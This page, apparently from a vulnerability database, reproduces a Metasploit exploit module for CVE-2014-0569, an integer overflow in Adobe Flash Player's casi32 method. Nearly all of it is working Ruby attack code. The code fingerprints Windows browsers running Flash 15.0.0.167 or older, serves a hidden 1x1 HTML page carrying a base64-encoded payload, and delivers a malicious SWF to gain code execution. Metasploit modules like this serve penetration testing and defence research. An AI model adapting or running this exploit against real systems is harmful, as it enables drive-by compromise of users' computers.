Adobe Flash Player casi32 Integer Overflow
🗓️ 14 Oct 2014 00:00:00Reported by bilou, juan vazquez <[email protected]>Type 
metasploit🔗 www.rapid7.com👁 57 Views
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Adobe Flash Player casi32 Integer Overflow',
'Description' => %q{
This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in
the casi32 method, where an integer overflow occurs if a ByteArray of length 0 is setup as
domainMemory for the current application domain. This module has been tested successfully
on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 15.0.0.167.
},
'License' => MSF_LICENSE,
'Author' => [
'bilou', # Vulnerability discovery
'juan vazquez' # msf module
],
'References' => [
['ZDI', '14-365'],
['CVE', '2014-0569'],
['OSVDB', '113199'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-22.html'],
['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html']
],
'Payload' => {
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'BrowserRequirements' => {
:source => /script|headers/i,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) },
:flash => lambda { |ver| ver =~ /^15\./ && Rex::Version.new(ver) <= Rex::Version.new('15.0.0.167') },
:arch => ARCH_X86
},
'Targets' => [
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => '2014-10-14',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache' })
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), { 'Pragma' => 'no-cache' })
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
platform_id = 'win'
os_name = target_info[:os_name]
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0569', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
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14 Oct 2014 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 29.3
EPSS0.91581